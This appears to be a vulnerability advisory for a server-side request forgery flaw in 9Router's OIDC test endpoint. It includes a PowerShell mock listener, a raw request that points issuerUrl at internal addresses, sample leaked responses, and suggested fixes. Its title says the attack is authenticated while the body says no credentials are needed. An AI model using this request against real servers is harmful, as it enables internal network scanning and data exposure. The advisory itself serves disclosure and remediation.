9Router: Authenticated Server-Side Request Forgery (SSRF) via OIDC Provider Test Endpoint

Affected Endpoints

• Endpoint: /api/auth/oidc/test
• Method: POST
• Parameter: issuerUrl
• Impacted Feature: OIDC Authentication Configuration Test

Impact

An unauthenticated attacker can abuse this behavior to use the 9Router instance as a proxy to:

• Conduct internal network topology discovery and port scanning against the hosting infrastructure (127.0.0.1, 10.0.0.0/8, 192.168.0.0/16).
• Expose internal application error states or feed malicious configuration structures back into the dashboard component logic without needing prior valid session tokens.

Proof of Concept & Reproducing Steps

Step 1: Set up the Verification Environment

Utilize a local mock listener on an internal port (e.g., Port 80).

Run the following PowerShell script with Administrative privileges to launch the mock listener:

$port = 80
$listener = New-Object System.Net.HttpListener
$listener.Prefixes.Add("http://127.0.0.1:$port/")

try {
    $listener.Start()
    Write-Host "=======================================================" -ForegroundColor Cyan
    Write-Host "  MOCK OIDC SERVER RUNNING ON PORT 80" -ForegroundColor Green
    Write-Host "=======================================================" -ForegroundColor Cyan

    while ($listener.IsListening) {
        $context = $listener.GetContext()
        $request = $context.Request
        Write-Host "[+] SSRF Request received for URL: $($request.Url)" -ForegroundColor Yellow
        
        $jsonPayload = '{"issuer":"http://127.0.0.1","authorization_endpoint":"http://127.0.0.1/oauth/auth","token_endpoint":"http://127.0.0.1/oauth/token","userinfo_endpoint":"EVIDENCE_SSRF_CONFIRMED_SUCCESSFULLY","jwks_uri":"http://127.0.0.1/oauth/keys"}'

        $response = $context.Response
        $response.StatusCode = 200
        $response.ContentType = "application/json"
        
        $buffer = [System.Text.Encoding]::UTF8.GetBytes($jsonPayload)
        $response.ContentLength64 = $buffer.Length
        $response.OutputStream.Write($buffer, 0, $buffer.Length)
        $response.Close()
        Write-Host "[*] JSON payload sent back to 9router" -ForegroundColor Green
    }
} catch {
    Write-Host "Error starting server on port 80" -ForegroundColor Red
} finally {
    if ($listener.IsListening) { $listener.Stop() }
}

Step 2: Triggering the Vulnerability via Burp Suite

Send the following raw HTTP request to the 9Router instance (Notice no Cookie header is required):

POST /api/auth/oidc/test HTTP/1.1
Host: localhost:3000
Content-Type: application/json
Connection: keep-alive
Content-Length: 54

{
  "issuerUrl": "http://127.0.0.1:80",
  "clientId": "probe_only"
}

Step 3: Objective Analysis of Results

Scenario A: Targeting an Unmatched/Plain Text Port (e.g., Port returning raw strings like "check vul")

The server connects to the port, receives a non-JSON response, and errors out during parsing. The application response explicitly leaks the parsing failure:

{"error":"Unexpected token 'c', \"check vul\" is not valid JSON"}

Analysis: This confirms the backend successfully completed an outbound TCP handshake and read the payload from the internal resource, verifying an Error-based/Blind SSRF context without any user credentials.

Scenario B: Targeting the Valid Mock Port (Port 80 with the script active)

The backend connects to the mock listener, successfully fetches the fake configuration data, maps the internal endpoints, and replies with an HTTP 200 OK:

{
  "ok": true,
  "discoveryOk": true,
  "issuerUrl": "http://127.0.0.1:80",
  "authorizationEndpoint": "http://127.0.0.1/oauth/auth",
  "tokenEndpoint": "http://127.0.0.1/oauth/token",
  "jwksUri": "http://127.0.0.1/oauth/keys"
}

Analysis: This confirms a Full Data Feed SSRF. The internal properties parsed directly from the mock script are completely reflected back in the public client response body.

Root Cause Analysis

The application logic handles network requests initiated by user input inside /api/auth/oidc/test without validating the host destination. Additionally, the route handler lacks proper authentication middleware checks to safeguard the functionality, allowing anonymous requests to safely reach internal server loops or private IP subnets.

Suggested Fix

1. Implement Access Control: Protect the /api/auth/oidc/test handler with authentication middleware to enforce valid user sessions.

2. Enforce Protocol Controls: Validate that issuerUrl strictly uses the https:// protocol scheme before performing the fetch operation.

3. Implement Network Blocklists: Resolve the hostname within issuerUrl on the server-side before initiating the connection. Validate the resolved IP address and explicitly drop requests pointing to loopback addresses (127.0.0.0/8, ::1) or internal private addresses (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).